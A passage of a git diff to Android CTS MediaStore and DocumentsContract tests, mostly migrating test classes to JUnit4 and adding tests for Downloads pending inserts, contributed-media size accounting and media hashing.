+
+        final Uri uri = DocumentsContract.buildDocumentUri(auth, docId);
+        assertEquals(auth, uri.getAuthority());
+        assertEquals(docId, DocumentsContract.getDocumentId(uri));
+        assertFalse(DocumentsContract.isTreeUri(uri));
+    }
+
+    @Test
+    public void testTreeDocumentUri() {
+        final String auth = "com.example";
+        final String treeId = "doc:12";
+        final String leafId = "doc:24";
+
+        final Uri treeUri = DocumentsContract.buildTreeDocumentUri(auth, treeId);
+        assertEquals(auth, treeUri.getAuthority());
+        assertEquals(treeId, DocumentsContract.getTreeDocumentId(treeUri));
+        assertTrue(DocumentsContract.isTreeUri(treeUri));
+
+        final Uri leafUri = DocumentsContract.buildDocumentUriUsingTree(treeUri, leafId);
+        assertEquals(auth, leafUri.getAuthority());
+        assertEquals(treeId, DocumentsContract.getTreeDocumentId(leafUri));
+        assertEquals(leafId, DocumentsContract.getDocumentId(leafUri));
+        assertTrue(DocumentsContract.isTreeUri(leafUri));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
index 21d4727..0b1dad8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
@@ -16,11 +16,18 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Intent;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.provider.MediaStore;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
 
@@ -28,45 +35,52 @@
  * Tests to verify that common actions on {@link MediaStore} content are
  * available.
  */
-public class MediaStoreIntentsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStoreIntentsTest {
     public void assertCanBeHandled(Intent intent) {
-        List<ResolveInfo> resolveInfoList = getContext()
+        List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
                 .getPackageManager().queryIntentActivities(intent, 0);
         assertNotNull("Missing ResolveInfo", resolveInfoList);
         assertTrue("No ResolveInfo found for " + intent.toString(),
                 resolveInfoList.size() > 0);
     }
 
+    @Test
     public void testPickImageDir() {
         Intent intent = new Intent(Intent.ACTION_PICK);
         intent.setData(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
         assertCanBeHandled(intent);
     }
 
+    @Test
     public void testPickVideoDir() {
         Intent intent = new Intent(Intent.ACTION_PICK);
         intent.setData(MediaStore.Video.Media.EXTERNAL_CONTENT_URI);
         assertCanBeHandled(intent);
     }
 
+    @Test
     public void testPickAudioDir() {
         Intent intent = new Intent(Intent.ACTION_PICK);
         intent.setData(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI);
         assertCanBeHandled(intent);
     }
 
+    @Test
     public void testViewImageDir() {
         Intent intent = new Intent(Intent.ACTION_VIEW);
         intent.setData(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
         assertCanBeHandled(intent);
     }
 
+    @Test
     public void testViewVideoDir() {
         Intent intent = new Intent(Intent.ACTION_VIEW);
         intent.setData(MediaStore.Video.Media.EXTERNAL_CONTENT_URI);
         assertCanBeHandled(intent);
     }
 
+    @Test
     public void testViewImageFile() {
         final String[] schemes = new String[] {
                 "file", "http", "https", "content" };
@@ -87,6 +101,7 @@
         }
     }
 
+    @Test
     public void testViewVideoFile() {
         final String[] schemes = new String[] {
                 "file", "http", "https", "content" };
@@ -105,6 +120,7 @@
         }
     }
 
+    @Test
     public void testViewAudioFile() {
         final String[] schemes = new String[] {
                 "file", "http", "content" };
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
index 30fada8..40ce7a8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
@@ -64,6 +64,7 @@
     private Uri mExternalAudio = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
     private Uri mExternalVideo = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
     private Uri mExternalImages = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+    private Uri mExternalDownloads = MediaStore.Downloads.EXTERNAL_CONTENT_URI;
 
     @Before
     public void setUp() throws Exception {
@@ -77,9 +78,18 @@
 
     @Test
     public void testSimple_Success() throws Exception {
+        verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
+    }
+
+    @Test
+    public void testSimpleDownload_Success() throws Exception {
+        verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
+    }
+
+    private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
+            throws Exception {
         final String displayName = "cts" + System.nanoTime();
 
-        final Uri insertUri = mExternalImages;
         final MediaStore.PendingParams params = new MediaStore.PendingParams(
                 insertUri, displayName, "image/png");
 
@@ -100,7 +110,7 @@
         final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
         try {
             try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
-                    OutputStream out = session.openOutputStream()) {
+                 OutputStream out = session.openOutputStream()) {
                 FileUtils.copy(in, out);
             }
             publishUri = session.publish();
@@ -120,7 +130,7 @@
         // Make sure our raw filename looks sane
         final File rawFile = getRawFile(publishUri);
         assertEquals(displayName + ".png", rawFile.getName());
-        assertEquals(Environment.DIRECTORY_PICTURES, rawFile.getParentFile().getName());
+        assertEquals(expectedDestDir, rawFile.getParentFile().getName());
 
         // Make sure file actually exists
         getRawFileHash(rawFile);
@@ -209,6 +219,12 @@
         assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
         assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
         assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
+
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
+        assertCreatePending(new PendingParams(mExternalDownloads, displayName,
+                "application/pdf"));
     }
 
     @Test
@@ -245,11 +261,15 @@
                 Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
         final Set<String> allowedImages = new HashSet<>(
                 Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
+        final Set<String> allowedDownloads = new HashSet<>(
+                Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
 
         final Set<String> everything = new HashSet<>();
         everything.addAll(allowedAudio);
         everything.addAll(allowedVideo);
         everything.addAll(allowedImages);
+        everything.addAll(allowedDownloads);
+        everything.add(Environment.DIRECTORY_DOCUMENTS);
 
         {
             final PendingParams params = new PendingParams(mExternalAudio,
@@ -287,6 +307,18 @@
                 }
             }
         }
+        {
+            final PendingParams params = new PendingParams(mExternalDownloads,
+                        displayName, "video/ogg");
+            for (String dir : everything) {
+                params.setPrimaryDirectory(dir);
+                if (allowedDownloads.contains(dir)) {
+                    assertCreatePending(params);
+                } else {
+                    assertNotCreatePending(dir, params);
+                }
+            }
+        }
     }
 
     @Test
@@ -309,6 +341,13 @@
                     displayName, "video/ogg"), R.raw.scenery);
             assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
         }
+        {
+            final String displayName = "cts" + System.nanoTime();
+            final Uri uri = execPending(new PendingParams(mExternalDownloads,
+                    displayName, "image/png"), R.raw.scenery);
+            assertEquals(Environment.DIRECTORY_DOWNLOADS,
+                    getRawFile(uri).getParentFile().getName());
+        }
     }
 
     @Test
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
index 7886485..bd188bc 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
@@ -17,29 +17,49 @@
 package android.provider.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.app.usage.StorageStatsManager;
 import android.content.ContentResolver;
+import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
+import android.media.MediaScanner;
 import android.net.Uri;
+import android.os.Environment;
+import android.os.storage.StorageManager;
 import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
 
+import libcore.util.HexEncoding;
+
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.File;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
 import java.util.Set;
+import java.util.UUID;
 
 @RunWith(AndroidJUnit4.class)
 public class MediaStoreTest {
     private static final String TEST_VOLUME_NAME = "volume_for_cts";
 
+    private static final long SIZE_DELTA = 32_000;
+
     private static final String[] PROJECTION = new String[] { MediaStore.MEDIA_SCANNER_VOLUME };
 
     private Uri mScannerUri;
@@ -56,6 +76,7 @@
     public void setUp() throws Exception {
         mScannerUri = MediaStore.getMediaScannerUri();
         mContentResolver = getContext().getContentResolver();
+
         Cursor c = mContentResolver.query(mScannerUri, PROJECTION, null, null, null);
         if (c != null) {
             c.moveToFirst();
@@ -66,6 +87,9 @@
 
     @After
     public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+
         // restore initial values
         if (mVolumnBackup != null) {
             ContentValues values = new ContentValues();
@@ -116,4 +140,135 @@
         assertTrue(volumeNames.contains("internal"));
         assertTrue(volumeNames.contains("external"));
     }
+
+    @Test
+    public void testContributedMedia() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                android.Manifest.permission.CLEAR_APP_USER_DATA,
+                android.Manifest.permission.PACKAGE_USAGE_STATS);
+
+        // Measure usage before
+        final long beforePackage = getExternalPackageSize();
+        final long beforeTotal = getExternalTotalSize();
+        final long beforeContributed = MediaStore.getContributedMediaSize(getContext(),
+                getContext().getPackageName(), android.os.Process.myUserHandle());
+
+        final long stageSize;
+        try (AssetFileDescriptor fd = getContext().getResources()
+                .openRawResourceFd(R.raw.volantis)) {
+            stageSize = fd.getLength();
+        }
+
+        // Create media both inside and outside sandbox
+        final Uri inside;
+        final Uri outside;
+        final File file = new File(getContext().getExternalMediaDirs()[0],
+                "cts" + System.nanoTime());
+        ProviderTestUtils.stageFile(R.raw.volantis, file);
+        try (MediaScanner scanner = new MediaScanner(getContext(), "external")) {
+            inside = scanner.scanSingleFile(file.getAbsolutePath(), "image/jpeg");
+        }
+        outside = ProviderTestUtils.stageMedia(R.raw.volantis,
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+        {
+            final HashSet<Long> visible = getVisibleIds(
+                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+            assertTrue(visible.contains(ContentUris.parseId(inside)));
+            assertTrue(visible.contains(ContentUris.parseId(outside)));
+
+            final long afterPackage = getExternalPackageSize();
+            final long afterTotal = getExternalTotalSize();
+            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+                    getContext().getPackageName(), android.os.Process.myUserHandle());
+
+            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+            assertMostlyEquals(beforeTotal + stageSize + stageSize, afterTotal, SIZE_DELTA);
+            assertMostlyEquals(beforeContributed + stageSize, afterContributed, SIZE_DELTA);
+        }
+
+        // Delete only contributed items
+        MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
+                android.os.Process.myUserHandle());
+        {
+            final HashSet<Long> visible = getVisibleIds(
+                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+            assertTrue(visible.contains(ContentUris.parseId(inside)));
+            assertFalse(visible.contains(ContentUris.parseId(outside)));
+
+            final long afterPackage = getExternalPackageSize();
+            final long afterTotal = getExternalTotalSize();
+            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+                    getContext().getPackageName(), android.os.Process.myUserHandle());
+
+            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+            assertMostlyEquals(beforeTotal + stageSize, afterTotal, SIZE_DELTA);
+            assertMostlyEquals(beforeContributed, afterContributed, SIZE_DELTA);
+        }
+    }
+
+    @Test
+    public void testHash() throws Exception {
+        final ContentResolver resolver = getContext().getContentResolver();
+
+        final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis,
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+        final String expected = Arrays
+                .toString(HexEncoding.decode("dd41258ce8d306163f3b727603cb064be81973db"));
+
+        // We can force hash to be generated by requesting canonicalization
+        resolver.canonicalize(uri);
+        try (Cursor c = resolver.query(uri, new String[] { MediaColumns.HASH }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertEquals(expected, Arrays.toString(c.getBlob(0)));
+        }
+
+        // Make sure that editing image results in a different hash
+        try (OutputStream out = resolver.openOutputStream(uri)) {
+            out.write(42);
+        }
+        try (Cursor c = resolver.query(uri, new String[] { MediaColumns.HASH }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertNotEquals(expected, Arrays.toString(c.getBlob(0)));
+        }
+    }
+
+    private long getExternalPackageSize() throws Exception {
+        final StorageManager storage = getContext().getSystemService(StorageManager.class);
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final UUID externalUuid = storage.getUuidForPath(Environment.getExternalStorageDirectory());
+        return stats.queryStatsForPackage(externalUuid, getContext().getPackageName(),
+                android.os.Process.myUserHandle()).getDataBytes();
+    }
+
+    private long getExternalTotalSize() throws Exception {
+        final StorageManager storage = getContext().getSystemService(StorageManager.class);
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final UUID externalUuid = storage.getUuidForPath(Environment.getExternalStorageDirectory());
+        return stats.queryExternalStatsForUser(externalUuid, android.os.Process.myUserHandle())
+                .getTotalBytes();
+    }
+
+    private HashSet<Long> getVisibleIds(Uri collectionUri) {
+        final HashSet<Long> res = new HashSet<>();
+        try (Cursor c = mContentResolver.query(collectionUri,
+                new String[] { MediaColumns._ID }, null, null)) {
+            while (c.moveToNext()) {
+                res.add(c.getLong(0));
+            }
+        }
+        return res;
+    }
+
+    private static void assertMostlyEquals(long expected, long actual, long delta) {
+        if (Math.abs(expected - actual) > delta) {
+            fail("Expected roughly " + expected + " but was " + actual);
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
index 79118dd..155e314 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
@@ -16,20 +16,26 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.provider.MediaStore.Audio;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class MediaStore_AudioTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_AudioTest {
     private String mKeyForBeatles;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mKeyForBeatles = Audio.keyFor("beatles");
     }
 
+    @Test
     public void testKeyFor() {
         assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
         assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
index 9c9d9ca..609604f 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
@@ -16,10 +16,15 @@
 
 package android.provider.cts;
 
-import android.provider.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.net.Uri;
@@ -29,23 +34,28 @@
 import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.io.FileNotFoundException;
 
-public class MediaStore_Audio_AlbumsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_AlbumsTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -62,15 +72,17 @@
         assertNull(mContentResolver.query(Albums.getContentUri(volume), null, null, null, null));
     }
 
+    @Test
     public void testStoreAudioAlbumsInternal() {
-        testStoreAudioAlbums(true);
+        doStoreAudioAlbums(true);
     }
 
+    @Test
     public void testStoreAudioAlbumsExternal() {
-        testStoreAudioAlbums(false);
+        doStoreAudioAlbums(false);
     }
 
-    private void testStoreAudioAlbums(boolean isInternal) {
+    private void doStoreAudioAlbums(boolean isInternal) {
         // do not support direct insert operation of the albums
         Uri audioAlbumsUri = isInternal? Albums.INTERNAL_CONTENT_URI : Albums.EXTERNAL_CONTENT_URI;
         try {
@@ -161,15 +173,15 @@
         c.close();
     }
 
+    @Test
     public void testAlbumArt() {
         File path = new File(Environment.getExternalStorageDirectory()
                 + "/test" + System.currentTimeMillis() + ".mp3");
         Uri uri = null;
         try {
-            FileCopyHelper copier = new FileCopyHelper(mContext);
             File dir = path.getParentFile();
             dir.mkdirs();
-            copier.copyToExternalStorage(R.raw.testmp3, path);
+            ProviderTestUtils.stageFile(R.raw.testmp3, path);
 
             ContentValues v = new ContentValues();
             v.put(Media.DATA, path.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
index 9fe31c5..9f923e5 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
@@ -16,26 +16,39 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.MediaStore.Audio.Artists;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class MediaStore_Audio_ArtistsTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_ArtistsTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -52,15 +65,17 @@
         assertNull(mContentResolver.query(Artists.getContentUri(volume), null, null, null, null));
     }
 
+    @Test
     public void testStoreAudioArtistsInternal() {
-        testStoreAudioArtists(true);
+        doStoreAudioArtists(true);
     }
 
+    @Test
     public void testStoreAudioArtistsExternal() {
-        testStoreAudioArtists(false);
+        doStoreAudioArtists(false);
     }
 
-    private void testStoreAudioArtists(boolean isInternal) {
+    private void doStoreAudioArtists(boolean isInternal) {
         Uri artistsUri = isInternal ? Artists.INTERNAL_CONTENT_URI : Artists.EXTERNAL_CONTENT_URI;
         // do not support insert operation of the artists
         try {
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
index 72d9067..3b5282d 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
@@ -16,28 +16,40 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
 import android.provider.MediaStore.Audio.Artists.Albums;
+import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class MediaStore_Audio_Artists_AlbumsTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_Artists_AlbumsTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(
@@ -56,15 +68,17 @@
                 null, null, null, null));
     }
 
+    @Test
     public void testStoreAudioArtistsAlbumsInternal() {
-        testStoreAudioArtistsAlbums(true);
+        doStoreAudioArtistsAlbums(true);
     }
 
+    @Test
     public void testStoreAudioArtistsAlbumsExternal() {
-        testStoreAudioArtistsAlbums(false);
+        doStoreAudioArtistsAlbums(false);
     }
 
-    private void testStoreAudioArtistsAlbums(boolean isInternal) {
+    private void doStoreAudioArtistsAlbums(boolean isInternal) {
         // the album item is inserted when inserting audio media
         Uri audioMediaUri = isInternal ? Audio1.getInstance().insertToInternal(mContentResolver)
                 : Audio1.getInstance().insertToExternal(mContentResolver);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
index 8d41b38..bc7bd95 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
@@ -16,28 +16,43 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.database.SQLException;
 import android.net.Uri;
 import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Media;
 import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class MediaStore_Audio_GenresTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_GenresTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -59,6 +74,7 @@
         assertNull(mContentResolver.query(Genres.getContentUri(volume), null, null, null, null));
     }
 
+    @Test
     public void testStoreAudioGenresExternal() {
         // insert
         ContentValues values = new ContentValues();
@@ -88,6 +104,7 @@
         }
     }
 
+    @Test
     public void testStoreAudioGenresInternal() {
         // the internal database does not have genres
         ContentValues values = new ContentValues();
@@ -96,6 +113,7 @@
         assertNull(uri);
     }
 
+    @Test
     public void testGetContentUriForAudioId() {
         // Insert an audio file into the content provider.
         ContentValues values = Audio1.getInstance().getContentValues(true);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
index 4073016..b9f10d8 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
@@ -16,31 +16,42 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.database.SQLException;
 import android.net.Uri;
 import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Media;
 import android.provider.MediaStore.Audio.Genres.Members;
+import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
 
-public class MediaStore_Audio_Genres_MembersTest extends InstrumentationTestCase {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class MediaStore_Audio_Genres_MembersTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
     private long mAudioIdOfJam;
 
     private long mAudioIdOfJamLive;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
 
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
         Uri uri = Audio1.getInstance().insertToExternal(mContentResolver);
         Cursor c = mContentResolver.query(uri, null, null, null, null);
         c.moveToFirst();
@@ -54,16 +65,16 @@
         c.close();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         // "jam" should already have been deleted as part of the test, but delete it again just
         // in case the test failed and aborted before that.
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mAudioIdOfJam, null);
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mAudioIdOfJamLive,
                 null);
-        super.tearDown();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -87,6 +98,7 @@
                 null));
     }
 
+    @Test
     public void testStoreAudioGenresMembersExternal() {
         ContentValues values = new ContentValues();
         values.put(Genres.NAME, Audio1.GENRE);
@@ -292,6 +304,7 @@
         }
     }
 
+    @Test
     public void testStoreAudioGenresMembersInternal() {
         // the internal database can not have genres
         ContentValues values = new ContentValues();
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
index 82c2342..98fa5fc 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
@@ -16,27 +16,40 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
